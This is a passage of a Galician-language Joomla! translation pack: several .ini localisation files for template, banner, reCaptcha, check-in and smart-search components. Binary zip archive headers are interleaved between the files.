              Nota: Os campos aparecerán cando o engadido está activado e gardado.
              Máis información en W3.org" PK@y>\ ^WBB-language/gl-ES/gl-ES.plg_user_profile.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_USER_PROFILE="Usuario - Perfil" PLG_USER_PROFILE_XML_DESCRIPTION="Engadido do perfil de usuario" PK@y>\KJ=$language/gl-ES/gl-ES.mod_version.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_VERSION="Información da versión Joomla!" MOD_VERSION_FORMAT_DESC="A versión de asistencia alongada inclúe o nome de código e a data" MOD_VERSION_FORMAT_LABEL="Formato da versión" MOD_VERSION_FORMAT_LONG="Alongada" MOD_VERSION_FORMAT_SHORT="Acurtada" MOD_VERSION_PRODUCT_DESC="Incluír a cadea de texto \"_QQ_\"Joomla!\"_QQ_\" ao usar o formato curto." MOD_VERSION_PRODUCT_LABEL="Amosar Joomla!" MOD_VERSION_XML_DESCRIPTION="Este módulo amosa a versión de Joomla!" PK@y>\//0language/gl-ES/gl-ES.plg_user_contactcreator.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM PLG_CONTACTCREATOR_ERR_FAILED_UPDATE="Fallou ao actualizar o contacto: %s" PLG_CONTACTCREATOR_ERR_NO_CATEGORY="Fallou a creación automática do contacto porque non está estabelecida a categoría!" PLG_CONTACTCREATOR_FIELD_AUTOMATIC_WEBPAGE_DESC="Unha cadea formatada para que xere automaticamente unha páxina web do contacto. [name] é substituído co nome, [username] é substituído do nome de usuario, [userid] é substituído co identificador de usuario e [email] é substituído co enderezo de correo electrónico" PLG_CONTACTCREATOR_FIELD_AUTOMATIC_WEBPAGE_LABEL="Páxina web automática" PLG_CONTACTCREATOR_FIELD_AUTOPUBLISH_DESC="Activar/Desactivar a publicación automática do contacto creado automaticamente." PLG_CONTACTCREATOR_FIELD_AUTOPUBLISH_LABEL="Publicar automaticamente o contacto" PLG_CONTACTCREATOR_FIELD_CATEGORY_DESC="Categoría predeterminada para asignar aos contactos" PLG_CONTACTCREATOR_XML_DESCRIPTION="Engadido para crear automaticamente a información do contacto para novos usuarios" PLG_USER_CONTACTCREATOR="Usuario - Creador de contactos" PK@y>\If+language/gl-ES/gl-ES.plg_content_finder.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CONTENT_FINDER="Contido - Busca intelixente" PLG_CONTENT_FINDER_XML_DESCRIPTION="Activar a indexación da busca intelixente" PLG_FINDER_QUERY_FILTER_BRANCH_P__="Todos" PLG_FINDER_QUERY_FILTER_BRANCH_S_TYPE="Tipo" PLG_FINDER_QUERY_FILTER_BRANCH_S_LANGUAGE="Idioma" PLG_FINDER_QUERY_FILTER_BRANCH_S_CATEGORY="Categoría" PLG_FINDER_QUERY_FILTER_BRANCH_P_TYPE="Tipos" PLG_FINDER_QUERY_FILTER_BRANCH_P_LANGUAGE="Idiomas" PLG_FINDER_QUERY_FILTER_BRANCH_P_CATEGORY="Categorías" PK@y>\br##&language/gl-ES/gl-ES.com_templates.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_TEMPLATES="Xestor de temas" COM_TEMPLATES_ADVANCED_FIELDSET_LABEL="Opcións avanzadas" COM_TEMPLATES_ASSIGNED_1="Asignado a un elemento de menú" COM_TEMPLATES_ASSIGNED_MORE="Asignado a %d elementos de menú" COM_TEMPLATES_BASIC_FIELDSET_LABEL="Opcións básicas" COM_TEMPLATES_CLICK_TO_ENLARGE="Prema para ampliar" COM_TEMPLATES_CONFIG_FIELDSET_DESC="Configuración global para temas" COM_TEMPLATES_CONFIG_POSITIONS_DESC="Activar a vista previa de posicións de módulo no tema engadindo tp=1 ao enderezo do sitio. Tamén activa o botón de vista previa na lista de temas. Recargue a páxina despois de mudar esta opción." COM_TEMPLATES_CONFIG_POSITIONS_LABEL="Vista previa das posicións dos módulos" COM_TEMPLATES_CONFIGURATION="Opcións do xestor de temas" COM_TEMPLATES_COPY_SUCCESS="O novo tema chamado %s foi instalado con éxito." COM_TEMPLATES_ERR_XML="Os datos XML do tema non están dispoñíbeis" COM_TEMPLATES_ERROR_CANNOT_DELETE_LAST_STYLE="Non é posíbel eliminar o último estilo dun tema." COM_TEMPLATES_ERROR_CANNOT_UNSET_DEFAULT_STYLE="Non é posíbel desmarcar o estilo predeterminado" COM_TEMPLATES_ERROR_COULD_NOT_COPY="Unable to copy template files to temporary directory." COM_TEMPLATES_ERROR_COULD_NOT_INSTALL="Non é posíbel instalar o novo tema que está no cartafol temporal." COM_TEMPLATES_ERROR_COULD_NOT_WRITE="Non é posíbel borrar o cartafol temporal." COM_TEMPLATES_ERROR_CREATE_NOT_PERMITTED="Non é posíbel crear o cartafol temporal." COM_TEMPLATES_ERROR_DUPLICATE_TEMPLATE_NAME="Xa hai instalado un tema con este nome." COM_TEMPLATES_ERROR_EDITOR_DISABLED="Determina se os engadidos tipo editor 'CodeMirror' ou 'Sen editor' poden activarse para modificar ficheiros de temas" COM_TEMPLATES_ERROR_EXTENSION_RECORD_NOT_FOUND="O rexistro da extensión non se atopa na base de datos" COM_TEMPLATES_ERROR_FAILED_TO_SAVE_FILENAME="Produciuse un erro. Non foi posíbel gardar o ficheiro %s ." COM_TEMPLATES_ERROR_INVALID_FROM_NAME="Non é posíbel atopar o tema a copiar." COM_TEMPLATES_ERROR_INVALID_TEMPLATE_NAME="O nome do tema non é válido. Empregue só letras, números, guións e guións baixos." COM_TEMPLATES_ERROR_SAVE_DISABLED_TEMPLATE="Non foi posíbel gardar un estilo que estaba asociado a un tema desactivado" COM_TEMPLATES_ERROR_SOURCE_FILE_NOT_FOUND="O ficheiro orixe non foi achado." COM_TEMPLATES_ERROR_SOURCE_FILE_NOT_UNWRITABLE="O ficheiro orixe non pode ser mudado a o estado de non escribíbel" COM_TEMPLATES_ERROR_SOURCE_FILE_NOT_WRITABLE="Ficheiro orixe non escribíbel" COM_TEMPLATES_ERROR_SOURCE_ID_FILENAME_MISMATCH="O ID almacenado non coincide co enviado" COM_TEMPLATES_ERROR_STYLE_NOT_FOUND="Non se atopou o estilo" COM_TEMPLATES_ERROR_STYLE_REQUIRES_TITLE="O estilo require un título" COM_TEMPLATES_ERROR_TEMPLATE_FOLDER_NOT_FOUND="Non se atopou o cartafol do tema" COM_TEMPLATES_FIELD_CLIENT_DESC="Se este tema é empregado na portada do sitio (0) ou na administración (1)" COM_TEMPLATES_FIELD_CLIENT_LABEL="Localización" COM_TEMPLATES_FIELD_HOME_ADMINISTRATOR_DESC="Este estilo de tema está definido ou non como estilo de tema predeterminado" COM_TEMPLATES_FIELD_HOME_LABEL="Predeterminado" COM_TEMPLATES_FIELD_HOME_SITE_DESC="Se a función multiidioma non está instalada e activada, limite súa elección entre Non and Todo. O estilo do tema definirase ou non como tema predeterminado global.
              Se o engadido Sistema - Filtro de idioma está activado, e emprega diferentes estilos de tema dependendo do idioma do contido, asigne un idioma a este estilo." COM_TEMPLATES_FIELD_SOURCE_DESC="Código fonte" COM_TEMPLATES_FIELD_SOURCE_LABEL="Código fonte" COM_TEMPLATES_FIELD_TEMPLATE_DESC="Nome do tema" COM_TEMPLATES_FIELD_TEMPLATE_LABEL="Tema" COM_TEMPLATES_FIELD_TITLE_DESC="Nome do estilo" COM_TEMPLATES_FIELD_TITLE_LABEL="Nome do estilo" COM_TEMPLATES_FILE_SAVE_SUCCESS="Ficheiro gardado con éxito" COM_TEMPLATES_FILTER_TEMPLATE="- Escoller tema -" COM_TEMPLATES_FTP_DESC="Para actualizar os ficheiros fonte do tema, Joomla! probabelmente requiriralle os datos da conta FTP. Por favor, insíraos nos campos do formulario de embaixo." COM_TEMPLATES_FTP_TITLE="Datos de acceso FTP" COM_TEMPLATES_GRID_UNSET_LANGUAGE="Deseleccionado %s por defecto" COM_TEMPLATES_HEADING_ASSIGNED="Asignado" COM_TEMPLATES_HEADING_DEFAULT="Predeterminado" COM_TEMPLATES_HEADING_STYLE="Estilo" COM_TEMPLATES_HEADING_TEMPLATE="Tema" COM_TEMPLATES_MANAGER="Xestor de temas" COM_TEMPLATES_MANAGER_ADD_STYLE="Xestor de temas: Engadir estilo" COM_TEMPLATES_MANAGER_EDIT_FILE="Xestor de temas: Modificar ficheiro" COM_TEMPLATES_MANAGER_EDIT_STYLE="Xestor de temas: Modificar estilo" COM_TEMPLATES_MANAGER_STYLES="Xestor de temas: Estilos" COM_TEMPLATES_MANAGER_TEMPLATES="Xestor de temas: Temas" COM_TEMPLATES_MANAGER_VIEW_TEMPLATE="Xestor de temas: Personalizar tema" COM_TEMPLATES_MENU_CHANGED_1="Asignouse ou desasignouse un elemento de menú a este estilo" COM_TEMPLATES_MENU_CHANGED_MORE="Os elementos de menú %d foron asignados ou desasignados a este estilo" COM_TEMPLATES_MENUS_ASSIGNMENT="Asignación de menús" COM_TEMPLATES_MSG_MANAGE_NO_STYLES="Non hai estilos instalados que coincidan coa súa consulta" COM_TEMPLATES_MSG_MANAGE_NO_TEMPLATES="Non hai temas instalados que coincidan coa súa consulta." COM_TEMPLATES_N_ITEMS_DELETED="%d estilos do tema foron eliminados con éxito" COM_TEMPLATES_N_ITEMS_DELETED_1="Estilo do tema eliminado con éxito" COM_TEMPLATES_NO_TEMPLATE_SELECTED="Ningún tema seleccionado" COM_TEMPLATES_PREVIEW="Previsualización" COM_TEMPLATES_SITE_PREVIEW="Previsualización do sitio" COM_TEMPLATES_STYLE_CANNOT_DELETE_DEFAULT_STYLE="Non é posíbel borrar o estilo por defecto" COM_TEMPLATES_STYLE_SAVE_SUCCESS="O estilo gardouse con éxito" COM_TEMPLATES_STYLES_FILTER_SEARCH_DESC="Buscar na descrición de estilo." COM_TEMPLATES_SUBMENU_STYLES="Estilos" COM_TEMPLATES_SUBMENU_TEMPLATES="Temas" COM_TEMPLATES_SUCCESS_DUPLICATED="O estilo duplicouse con éxito." COM_TEMPLATES_SUCCESS_HOME_SET="O estilo predeterminado estabeleceuse con éxito." COM_TEMPLATES_SUCCESS_HOME_UNSET="O estilo predeterminado estabeleceuse con éxito." COM_TEMPLATES_TEMPLATE_ADD_CSS="Engadir nova folla de estilos" COM_TEMPLATES_TEMPLATE_ADD_ERROR="Engadir unha páxina de erro personalizada ao tema (opcional)" COM_TEMPLATES_TEMPLATE_COPY="Copiar tema" COM_TEMPLATES_TEMPLATE_CSS="Follas de estilo" COM_TEMPLATES_TEMPLATE_DESCRIPTION="Descrición do tema" COM_TEMPLATES_TEMPLATE_DETAILS="%s detalles e ficheiros" COM_TEMPLATES_TEMPLATE_EDIT_CSS="Modificar %s" COM_TEMPLATES_TEMPLATE_EDIT_ERROR="Modificar a páxina de erro do tema" COM_TEMPLATES_TEMPLATE_EDIT_MAIN="Modificar a páxina principal do tema" COM_TEMPLATES_TEMPLATE_EDIT_OFFLINEVIEW="Modificar o tema de sitio desconectado." COM_TEMPLATES_TEMPLATE_EDIT_PRINTVIEW="Modificar o deseño da visualización de impresión" COM_TEMPLATES_TEMPLATE_FILENAME="Modificar o ficheiro \"_QQ_\"%s\"_QQ_\" no tema \"_QQ_\"%s\"_QQ_\"." COM_TEMPLATES_TEMPLATE_HTML="Ficheiros HTML" COM_TEMPLATES_TEMPLATE_MASTER_FILES="Ficheiros mestres do tema" COM_TEMPLATES_TEMPLATE_NEW_NAME_DESC="Novo nome de tema::Insira un nome para o novo tema. Empregue unicamente letras, números, guións e guións baixos." COM_TEMPLATES_TEMPLATE_NEW_NAME_LABEL="Novo nome de tema" COM_TEMPLATES_TEMPLATE_NO_PREVIEW="Vista previa non dispoñíbel. Pode activar a vista previa nas opcións." COM_TEMPLATES_TEMPLATE_NO_PREVIEW_ADMIN="Non está dispoñíbel a vista previa para o tema da administración" COM_TEMPLATES_TEMPLATE_NO_PREVIEW_DESC="Para activar previsualizacións do tema, activar a opción no módulo de posicións nas opcións do tema " COM_TEMPLATES_TEMPLATE_NOT_SPECIFIED="Tema non especificado." COM_TEMPLATES_TEMPLATE_PREVIEW="Previsualización" COM_TEMPLATES_TEMPLATES_FILTER_SEARCH_DESC="Procurar no nome do tema ou do cartafol." COM_TEMPLATES_TOOLBAR_SET_HOME="Estabelecer como predeterminado" COM_TEMPLATES_XML_DESCRIPTION="Este compoñente xestiona os temas" JLIB_RULES_SETTING_NOTES="1. Se muda a configuración, esta aplicarase a este compoñente. Nótese que:
              Herdado significa que serán utilizados os permisos da configuración global ou do grupo superior.
              Denegado significa que non importa o que a configuración global ou configuracións de grupo definan, o grupo que está a ser modificado non pode levar a cabo a acción neste compoñente.
              Permitido significa que o grupo que está a ser modificado será capaz de executar esta acción para este compoñente (pero se isto entra en conflito coa configuración global ou grupos superiores non terá efecto, indicarase un conflito non permitido (bloqueado) sobre as configuracións calculadas).
              2. Se escolle unha nova configuración, prema en gardar para actualizar a configuración calculada." PK@y>\LxgQ6language/gl-ES/gl-ES.plg_system_languagefilter.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_SYSTEM_LANGUAGEFILTER="Sistema - Filtro de idioma" PLG_SYSTEM_LANGUAGEFILTER_XML_DESCRIPTION="Este engadido filtra o contido amosado dependendo do idioma." PK@y>\$X\;;.language/gl-ES/gl-ES.plg_captcha_recaptcha.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CAPTCHA_RECAPTCHA_XML_DESCRIPTION="Este engadido Captcha usa o servizo reCaptcha para precaver de accesos de robots de SPAM, ademais de axuda a dixitalizar libros, xornais e transmisións de radio antigas. Para obter unha chave pública e privada para o seu dominio, vaia a http://www.google.com/recaptcha. Para usar este novo rexistro de conta, vaia a opcións no Xestor de usuarios e seleccione Captcha - reCaptcha como o Captcha." PLG_CAPTCHA_RECAPTCHA="Captcha - ReCaptcha" ; Params PLG_RECAPTCHA_PUBLIC_KEY_LABEL="Chave pública" PLG_RECAPTCHA_PUBLIC_KEY_DESC="Usado no código JavaScript que é servido aos usuarios. Ver a descrición do engadido para obter instrucións sobre como conseguir unha chave pública." PLG_RECAPTCHA_PRIVATE_KEY_LABEL="Chave privada" PLG_RECAPTCHA_PRIVATE_KEY_DESC="Usada na comunicación entre seu servidor e o servidor reCaptcha. Asegúrese de mantela en segredo. Ver a descrición do engadido para obter instrucións sobre como conseguir unha chave privada." PLG_RECAPTCHA_THEME_LABEL="Tema" PLG_RECAPTCHA_THEME_DESC="Define o tema a utilizar para reCAPTCHA." PLG_RECAPTCHA_THEME_RED="Vermello" PLG_RECAPTCHA_THEME_WHITE="Branco" PLG_RECAPTCHA_THEME_BLACKGLASS="Vidro negro" PLG_RECAPTCHA_THEME_CLEAN="Limpo" PLG_RECAPTCHA_LANG_LABEL="Idioma" PLG_RECAPTCHA_LANG_DESC="Escolla o idioma para o reCaptcha. Se está estabelecido o predeterminado, e o ficheiro de idioma ten unha tradución, usará esa." ; Error messages PLG_RECAPTCHA_ERROR_NO_PRIVATE_KEY="O engadido reCaptcha precisa que insira nos parámetros unha chave privada. Contacte co administrador do sitio." PLG_RECAPTCHA_ERROR_NO_PUBLIC_KEY="O engadido reCaptcha precisa que insira nos parámetros unha chave pública. Contacte co administrador do sitio." PLG_RECAPTCHA_ERROR_EMPTY_SOLUTION="A resposta baleira non está permitida." PLG_RECAPTCHA_ERROR_NO_IP="Por razóns de seguranza, debe pasar o IP remoto a reCaptcha" PLG_RECAPTCHA_ERROR_UNKNOWN="Erro descoñecido." PLG_RECAPTCHA_ERROR_INVALID_SITE_PUBLIC_KEY="Non foi posíbel verificar a chave pública." PLG_RECAPTCHA_ERROR_INVALID_SITE_PRIVATE_KEY="Non foi posíbel verificar a chave privada." PLG_RECAPTCHA_ERROR_INVALID_REQUEST_COOKIE="O parámetro de control do código de verificación é incorrecto." PLG_RECAPTCHA_ERROR_INCORRECT_CAPTCHA_SOL="A resposta Captcha foi incorrecta." PLG_RECAPTCHA_ERROR_VERIFY_PARAMS_INCORRECT="Os parámetros a verificar foron incorrectos, asegúrese de que está a pasar todos os parámetros requiridos." PLG_RECAPTCHA_ERROR_INVALID_REFERRER="As chaves da API reCaptcha están ligadas a un nome de dominio por motivos de seguranza." PLG_RECAPTCHA_ERROR_RECAPTCHA_NOT_REACHABLE="Non é posíbel contactar co servidor de verificación reCaptcha." ; Uncomment(remove the ";" from the beginning of the line) the following lines if reCAPTCHA is not available in your language ; When uncommenting, do NOT translate PLG_RECAPTCHA_CUSTOM_LANG ; As of 01/01/2012, the following languages do not need translation: en, nl, fr, de, pt, ru, es, tr ;PLG_RECAPTCHA_CUSTOM_LANG="verdadeiro" ;PLG_RECAPTCHA_INSTRUCTIONS_VISUAL="Escriba as dúas palabras:" ;PLG_RECAPTCHA_INSTRUCTIONS_AUDIO="Escriba o que escoitou:" ;PLG_RECAPTCHA_PLAY_AGAIN="Volver a reproducir o son" ;PLG_RECAPTCHA_CANT_HEAR_THIS="Descargar o son como mp3" ;PLG_RECAPTCHA_VISUAL_CHALLENGE="Outro texto" ;PLG_RECAPTCHA_AUDIO_CHALLENGE="Outro son" ;PLG_RECAPTCHA_REFRESH_BTN="Novo" ;PLG_RECAPTCHA_HELP_BTN="Axuda" ;PLG_RECAPTCHA_INCORRECT_TRY_AGAIN="Incorrecto. Tenteo novamente." PK@y>\;:$language/gl-ES/gl-ES.com_checkin.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_CHECKIN="Trabar" COM_CHECKIN_CONFIGURATION="Comprobar configuración" COM_CHECKIN_DATABASE_TABLE="Táboa da base de datos" COM_CHECKIN_FILTER_SEARCH_DESC="Buscar táboa" COM_CHECKIN_GLOBAL_CHECK_IN="Mantemento: Desbloqueo global" COM_CHECKIN_ITEMS_TO_CHECK_IN="Elementos a comprobar" COM_CHECKIN_N_ITEMS_CHECKED_IN_0="Ningún elemento comprobado" COM_CHECKIN_N_ITEMS_CHECKED_IN_1="1 elementos comprobado" COM_CHECKIN_N_ITEMS_CHECKED_IN_MORE="%s elementos comprobados" COM_CHECKIN_TABLE="%s táboa" COM_CHECKIN_XML_DESCRIPTION="Comprobación do compoñente" JLIB_RULES_SETTING_NOTES="1. Se muda a configuración, esta aplicarase a este compoñente. Nótese que:
              Herdado significa que serán utilizados os permisos da configuración global ou do grupo superior.
              Denegado significa que non importa o que a configuración global ou configuracións de grupo definan, o grupo que está a ser modificado non pode levar a cabo a acción neste compoñente.
              Permitido significa que o grupo que está a ser modificado será capaz de executar esta acción para este compoñente (pero se isto entra en conflito coa configuración global ou grupos superiores non terá efecto, indicarase un conflito non permitido (bloqueado) sobre as configuracións calculadas).
              2. Se escolle unha nova configuración, prema en gardar para actualizar a configuración calculada." PK@y>\ 3  0language/gl-ES/gl-ES.plg_finder_weblinks.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_FINDER_WEBLINKS="Busca intelixente - Ligazóns web" PLG_FINDER_WEBLINKS_ERROR_ACTIVATING_PLUGIN="Non foi posíbel activar automaticamente o engadido \"_QQ_\"Busca intelixente - Ligazóns web\"_QQ_\"" PLG_FINDER_WEBLINKS_XML_DESCRIPTION="Este engadido indexa as ligazóns web Joomla!" PK@y>\D55$language/gl-ES/gl-ES.com_banners.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_BANNERS="Carteis" COM_BANNERS_BANNER_DETAILS="Detalles" COM_BANNERS_BANNER_SAVE_SUCCESS="O cartel gardouse con éxito" COM_BANNERS_BANNERS_HTML_PIN_BANNER="Cartel prendido" COM_BANNERS_BANNERS_HTML_UNPIN_BANNER="Cartel desprendido" COM_BANNERS_BANNERS_N_ITEMS_ARCHIVED="%d carteis arquivados con exito" COM_BANNERS_BANNERS_N_ITEMS_ARCHIVED_1="%d cartel arquivado con éxito" COM_BANNERS_BANNERS_N_ITEMS_CHECKED_IN_0="Non se comprobou ningún cartel con exito" COM_BANNERS_BANNERS_N_ITEMS_CHECKED_IN_1="%d cartel comprobado con éxito" COM_BANNERS_BANNERS_N_ITEMS_CHECKED_IN_MORE="%d carteis comprobados con éxito" COM_BANNERS_BANNERS_N_ITEMS_DELETED="%d carteis borrados con éxito" COM_BANNERS_BANNERS_N_ITEMS_DELETED_1="%d cartel borrado con éxito" COM_BANNERS_BANNERS_N_ITEMS_PUBLISHED="%d carteis publicados con éxito" COM_BANNERS_BANNERS_N_ITEMS_PUBLISHED_1="%d cartel publicado con éxito" COM_BANNERS_BANNERS_N_ITEMS_TRASHED="%d carteis enviados ao lixo con éxito" COM_BANNERS_BANNERS_N_ITEMS_TRASHED_1="%d cartel enviado ao lixo con éxito" COM_BANNERS_BANNERS_N_ITEMS_UNPUBLISHED="%d carteis despublicados con éxito" COM_BANNERS_BANNERS_N_ITEMS_UNPUBLISHED_1="%d cartel despublicado con éxito" COM_BANNERS_BANNERS_NO_ITEM_SELECTED="Ningún cartel seleccionado" COM_BANNERS_BANNERS_PINNED="Cartel prendido" COM_BANNERS_BANNERS_UNPINNED="Cartel desprendido" COM_BANNERS_BATCH_CLIENT_LABEL="Definir cliente" COM_BANNERS_BATCH_CLIENT_LABEL_DESC="Non facer unha escolla manterá o cliente orixinal durante o procesamento." COM_BANNERS_BATCH_CLIENT_NOCHANGE="- Manter cliente orixinal -" COM_BANNERS_BATCH_OPTIONS="Procesar por lotes os carteis seleccionados" COM_BANNERS_BATCH_TIP="Se escolle copiar un cartel, aplicarase calquera outra acción escollida no cartel a copiar. Noutro caso, aplicaranse todas as accións ao cartel seleccionado." COM_BANNERS_BEGIN_LABEL="Data de inicio:" COM_BANNERS_CANCEL="Cancelar" COM_BANNERS_CLICK="Premer" COM_BANNERS_CLIENT_SAVE_SUCCESS="O cliente gardouse con éxito" COM_BANNERS_CLIENTS_N_ITEMS_ARCHIVED="%d clientes arquivados con éxito" COM_BANNERS_CLIENTS_N_ITEMS_ARCHIVED_1="%d cliente arquivado con éxito" COM_BANNERS_CLIENTS_N_ITEMS_CHECKED_IN_0="Ningún cliente comprobado con éxito" COM_BANNERS_CLIENTS_N_ITEMS_CHECKED_IN_1="%d cliente comprobado con éxito" COM_BANNERS_CLIENTS_N_ITEMS_CHECKED_IN_MORE="%d clientes comprobados con éxito" COM_BANNERS_CLIENTS_N_ITEMS_DELETED="%d clientes borrados con éxito" COM_BANNERS_CLIENTS_N_ITEMS_DELETED_1="%d cliente borrado con éxito" COM_BANNERS_CLIENTS_N_ITEMS_PUBLISHED="%d clientes publicados con éxito" COM_BANNERS_CLIENTS_N_ITEMS_PUBLISHED_1="%d cliente publicado con éxito" COM_BANNERS_CLIENTS_N_ITEMS_TRASHED="%d clientes enviados ao lixo con éxito" COM_BANNERS_CLIENTS_N_ITEMS_TRASHED_1="%d cliente enviado ao lixo con éxito" COM_BANNERS_CLIENTS_N_ITEMS_UNPUBLISHED="%d clientes despublicados con éxito" COM_BANNERS_CLIENTS_N_ITEMS_UNPUBLISHED_1="%d cliente despublicado con éxito" COM_BANNERS_CLIENTS_NO_ITEM_SELECTED="Ningún cliente seleccionado" COM_BANNERS_CONFIGURATION="Opcións do xestor de carteis" COM_BANNERS_DEFAULT="Predetermiinado (%s)" COM_BANNERS_DELETE_MSG="Está seguro de que quere borrar todos estes seguimentos?" COM_BANNERS_EDIT_BANNER="Edit Banner" COM_BANNERS_EDIT_CLIENT="Detalles" COM_BANNERS_END_LABEL="Data de fin:" COM_BANNERS_ERR_ZIP_ADAPTER_FAILURE="Fallou o adaptador ZIP" COM_BANNERS_ERR_ZIP_CREATE_FAILURE="Fallou creando o ZIP" COM_BANNERS_ERR_ZIP_DELETE_FAILURE="Fallou borrando o ZIP" COM_BANNERS_ERROR_UNIQUE_ALIAS="Outro cartel desta categoría ten o mesmo alcume" COM_BANNERS_EXTRA="Información adicional" COM_BANNERS_FIELD_ALIAS_DESC="O alcume é só para uso interno. Déixeo en branco e Joomla! encherao co valor predeterminado a partir do título. Ha de ser único para cada cartel na mesma categoría." COM_BANNERS_FIELD_ALT_DESC="Texto alternativo para a imaxe do cartel." COM_BANNERS_FIELD_ALT_LABEL="Texto alternativo" COM_BANNERS_FIELD_BANNEROWNPREFIX_DESC="Empregar o prefixo propio ou o do cliente" COM_BANNERS_FIELD_BANNEROWNPREFIX_LABEL="Empregar o prefixo propio" COM_BANNERS_FIELD_BASENAME_DESC="O patrón de nome de ficheiro pode conter
              __SITE__ para o nome do sitio
              __CATID__ para o ID da categoría
              __CATNAME__ para o nome da categoría
              __CLIENTID__ para o ID de cliente
              __CLIENTNAME__ para o nome de cliente
              __TYPE__ para o tipo
              __TYPENAME__ para o nome do tipo
              __BEGIN__ para a data de comezo
              __END__ para a data de fin" COM_BANNERS_FIELD_BASENAME_LABEL="Nome de ficheiro" COM_BANNERS_FIELD_CATEGORY_DESC="Elixa a categoría para este cartel" COM_BANNERS_FIELD_CLICKS_DESC="Amosa o número de accesos ao cartel. Prema en reiniciar accesos se o desexa." COM_BANNERS_FIELD_CLICKS_LABEL="Accesos totais" COM_BANNERS_FIELD_CLICKURL_DESC="O URL usado cando se preme no cartel." COM_BANNERS_FIELD_CLICKURL_LABEL="URL de destino" COM_BANNERS_FIELD_CLIENT_DESC="Elixa un cliente para este cartel" COM_BANNERS_FIELD_CLIENT_LABEL="Cliente" COM_BANNERS_FIELD_CLIENT_METAKEYWORDPREFIX_DESC="Cando se poñan á venda meta palabras clave, só buscará por meta palabras clave con este prefixo (mellora o rendemento)." COM_BANNERS_FIELD_CLIENT_METAKEYWORDPREFIX_LABEL="Prefixo de meta palabras clave" COM_BANNERS_FIELD_CLIENT_METAKEYWORDS_DESC="Insira aquí as meta palabras clave para os carteis dos clientes" COM_BANNERS_FIELD_CLIENT_NAME_DESC="Insira un nome para o cliente" COM_BANNERS_FIELD_CLIENT_NAME_LABEL="Nome do cliente" COM_BANNERS_FIELD_CLIENT_STATE_DESC="Defina o estado do cliente" COM_BANNERS_FIELD_CLIENTOWNPREFIX_DESC="Use own prefix or the component prefix" COM_BANNERS_FIELD_CLIENTOWNPREFIX_LABEL="Empregar o prefixo propio" COM_BANNERS_FIELD_COMPRESSED_DESC="Opcións para comprimir a exportación do ficheiro" COM_BANNERS_FIELD_COMPRESSED_LABEL="Comprimido" COM_BANNERS_FIELD_CONTACT_DESC="Insira un nome de usuario como contacto" COM_BANNERS_FIELD_CONTACT_LABEL="Nome de contacto" COM_BANNERS_FIELD_CREATED_DESC="Data de creación do cartel" COM_BANNERS_FIELD_CREATED_LABEL="Data de creación" COM_BANNERS_FIELD_CUSTOMCODE_DESC="Insira seu código personalizado para o cartel" COM_BANNERS_FIELD_CUSTOMCODE_LABEL="Código personalizado" COM_BANNERS_FIELD_DESCRIPTION_DESC="Insira unha descrición para o cartel" COM_BANNERS_FIELD_EMAIL_DESC="Insira un correo electrónico válido para o contacto" COM_BANNERS_FIELD_EMAIL_LABEL="Correo electrónico de contacto" COM_BANNERS_FIELD_EXTRAINFO_DESC="Enter extra information for this client." COM_BANNERS_FIELD_EXTRAINFO_LABEL="Información adicional" COM_BANNERS_FIELD_HEIGHT_DESC="A altura do cartel" COM_BANNERS_FIELD_HEIGHT_LABEL="Altura" COM_BANNERS_FIELD_IMAGE_DESC="Seleccione unha imaxe para este cartel. As imaxes han de estar no cartafol /images/banners/." COM_BANNERS_FIELD_IMAGE_LABEL="Imaxe" COM_BANNERS_FIELD_IMPMADE_DESC="Amosa o número de impresións feitas polo cartel." COM_BANNERS_FIELD_IMPMADE_LABEL="Impresións totais" COM_BANNERS_FIELD_IMPTOTAL_DESC="Límite total de impresións definido para o cartel." COM_BANNERS_FIELD_IMPTOTAL_LABEL="Impresións máximas" COM_BANNERS_FIELD_LANGUAGE_DESC="Assign a language to this banner" COM_BANNERS_FIELD_METAKEYWORDPREFIX_DESC="Cando se poñan á venda meta palabras clave, só buscará por meta palabras clave con este prefixo (mellora o rendemento)." COM_BANNERS_FIELD_METAKEYWORDPREFIX_LABEL="Prefixo de meta palabras clave" COM_BANNERS_FIELD_METAKEYWORDS_DESC="Insira aquí as meta palabras clave para o cartel" COM_BANNERS_FIELD_NAME_DESC="Insira un nome para o cartel" COM_BANNERS_FIELD_NAME_LABEL="Nome" COM_BANNERS_FIELD_PUBLISH_DOWN_DESC="Unha data opcional para a fin da publicación do cartel." COM_BANNERS_FIELD_PUBLISH_DOWN_LABEL="Fin da publicación" 